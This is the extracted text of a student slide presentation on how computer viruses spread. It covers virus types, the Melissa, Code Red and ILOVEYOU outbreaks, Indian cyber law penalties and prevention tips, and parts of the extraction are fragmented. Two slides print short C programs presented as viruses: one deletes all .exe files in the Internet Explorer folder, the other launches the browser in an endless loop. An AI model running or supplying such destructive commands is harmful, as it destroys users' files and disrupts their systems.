WELCOME TO OUR
PRESENTATIO
N
Our Presentation
Topic
VIRUS
VIRUS
DISSEMINATION
DISSEMINATION
INTRODUCTION TO
VIRUS
DISSEMINATION
virus ?
Types of computer virus?
What a computer virus do?
Sources of Computer virus?
What is computer
What is computer
Virus?
What Is Virus
A virus is
a computer program that can copy itself
and infect a computer without
permission or knowledge of the user.
a type of software program that, like a
biological virus, reproduces and
spreads itself and strongly affects on
data.
a program that pass on malicious code
to other programs by modifying them.
What Is Virus(Cont.)
Infects a program by attaching the program
1. Destroy the program or coexist with it.
2. A good program, once infected becomes
a carrier and infects other program.
3. Either transient or resident (stand
alone).
1/28/17
Group C - Presentatin on : How Do Viruses
Gain Control
Types of computer
Program virus
Macro virus
Logical bomb
Time bomb
Boot Sector virus
Worms
Trojan Horse
Virus.
Program Virus
These viruses infect program files, which
have extensions such as
.COM,.EXE.,SYS.,DLL,.OVL, or .SCR.
program files are attractive targets for
computer virus because they are widely
used and have relativity, simple formats
to which viruses can attach themselves.
Macro
Viruses
These viruses infects data files. For example,
Microsoft word document and template files
are susceptible to macro virus attacks they
spread rapidly as infected documents are
shared on networks or downloaded from
internet sites.
LOGICAL BOMBS
A logical bomb is a
destructive program or virus
that remains hidden until it is
triggered when certain
specific conditions has
occurred.
TIME BOMB
A time bomb is a
destructive program or virus
that is spreading and will
trigger an event after a period
of time has passed.
BOOT SECTOR VIRUS
A boot sector virus infects
boot sector of computers.
During system boot, boot
sector virus is loaded into
main memory and destroys
data stored in hard disk
WORMS
A worm is also a destructive
program that fills a computer
system with self-replicating
information.
Types of WORMS VIRUS:
MAIL WORM
PURE WORM
TROJAN HORSE
Trojan Horse is a destructive
program. It usually pretends as
computer games or application
software. If executed, computer
system will be damaged.
They are not replicate themselves.
1999)
Melissa virus spread in Microsoft Word documents
sent via e-mail.
How it works ?
Created the virus as word document
Uploaded to an internet newsgroup
Anyone who download the document and
opened it would trigger the virus.
Send friendly email messages to first 50 people
in persons address book.
It was the fastest spreading virus ever seen.
Forced a number of large companies to shut
down their e-mail systems.
Code Red (Worm)
Code Red made huge headlines in 2001
It slowed down internet traffic when it began
to replicate itself.
Each copy of the worm scanned the internet
for Windows NT or Windows 2000 that dont
have security patch installed.
Each time it found an unsecured server, the
worm copied itself to that server.
Code Red Worm
Designed to do three things
Replicate itself for the first 20 days of each
month.
Replace web pages on infected servers with a
page that declares Hacked by Chinese
Launch a concreted attack on the White
House Web server
Love Bug Virus
Onel de Guzman (a former computer science student) was
identified as the person responsible for creating and disseminating
the 'love bug' virus. However, Philippine law did not criminalize
hacking or the distribution of viruses. The Philippine officials
struggled with the question of how to prosecute De Guzman. They
finally charged him with theft and credit card fraud but the charges
were dismissed.
De Guzman could not be extradited for prosecution in other
countries such as the US (which has cybercrime laws) because the
conduct attributed to De Guzman was not a crime in the
Philippines. Extradition treaties require 'double criminality', namely
the act for which a person is extradited must be a crime in both the
extraditing country and the country seeking the extradition. De
Guzman could not be charged for disseminating the 'love bug'
virus. No one was prosecuted for the 'love bug' virus.
18
I Love You Virus
(May,2000)
Contained a piece of code as an attachment.
Double Click on the attachment triggered the
code.
Sent copies of itself to everyone in the
victims address book
Started corrupting files on the victims
machine.
A virus that deletes all .exe
files from a folder
#include<stdio.h>
#include<dos.h>
int main(void){
system("cd c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
return 0;
}
20
A virus that open internet
explorer at infinite times when
we open internet explorer
#include<stdio.h>
#include<dos.h>
int main (void){
While(1){
system("c:\\progra~1\\intern~1\\iexplore
.exe");
}
return 0;
}
21
A virus that can change a file
pointer
The script looks at each file in the current directory and tests
if the file is an executable. All executables are replaced with a
copy of this virus file.
22
Law Enforcement
Challenges to law enforcement:
Identifying the perpetrator
and
extent of the crime
Volatility of electronic data
Need for fast and confidential
investigations
Need for successful prosecutions
23
Fine and Penalties
According to the section 66(c),section 66(g),and
section 66(h) of Information and Technology
Act: 2000 .Whoever with the intent to cause or
knowing that he is likely to cause wrongful loss
or damage to the public or any person destroyes
or deletes or alters any information residing in a
computer resource or diminished its value or
utility or affects it injuriously by any means
commits virus dissemination.
And shall be punished with imprisonment upto 3
years and/or fine upto 2 lakh.
24
Virus Signatures
A virus cannot be completely invisible. Code for it
must be stored somewhere (even if its just in
memory).
Viruses also execute and spread in certain ways.
They are essentially executing on a sequential,
deterministic turning machine after all.
They can infect again on PCs when antivirus out of
date.
Can change a file or program pointer to itself.
1/28/17
Group C - Presentatin on : How Do Viruses
Gain Control
25
How does it Spread
1/28/17
Group C - Presentatin on : How Do Viruses
Gain Control
26
How does it Spread
1/28/17
Group C - Presentatin on : How Do Viruses
Gain Control
27
Virus Symptoms
The computer system becomes slow.
Sometimes start machine and restart in few
moments.
The size of available free memory reduces.
They can also erase files or create shortcut files
even format your hard disk and crash the
system.
Attempts to access the hard disk drive, which can
result in error messages such as : Invalid drive
specification.
Unknown and Uninstalled icons on desktop.
The computer does not boot.
28
Top 5 Sources of Computer
Virus Attack
Downloadable Programs
Cracked Software
Email Attachments
Internet
Booting From CD
tions to prevent virus infect
Always update your antivirus software at least
weekly.
Back up your important files
and ensure that they can be
restored.
Change the computer's boot
tions to prevent virus infect
Forget opening unexpected
e-mail attachments, even if
they're from friends
Install security updates for
your operating system and
programs as soon as
possible.
tions to prevent virus infecti
Don't share Drive C: without
a password and without
read-only restrictions.
Empty floppy drives of
diskettes before turning on
computers, especially
THANK
YOU
HAPPY AND SAFE
COMPUTING....
